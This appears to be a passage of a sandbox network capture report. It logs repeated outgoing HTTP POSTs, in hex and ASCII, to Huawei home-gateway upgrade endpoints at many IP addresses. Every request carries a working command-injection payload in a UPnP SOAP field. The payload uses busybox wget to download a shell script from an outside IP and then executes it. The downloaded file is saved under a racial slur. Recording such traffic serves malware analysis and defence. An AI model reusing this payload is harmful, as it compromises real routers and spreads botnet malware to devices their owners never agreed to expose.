2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.15	59124	94.121.75.18	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:23.331161022 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.15	33910	94.123.28.213	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:23.331310987 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.15	46914	94.121.115.61	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:23.331424952 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.15	37130	94.123.26.224	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:23.331537962 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.15	46744	94.120.157.90	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:23.331634045 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.15	59322	94.123.70.165	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:23.331727982 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:27.555011034 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:33.698964119 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
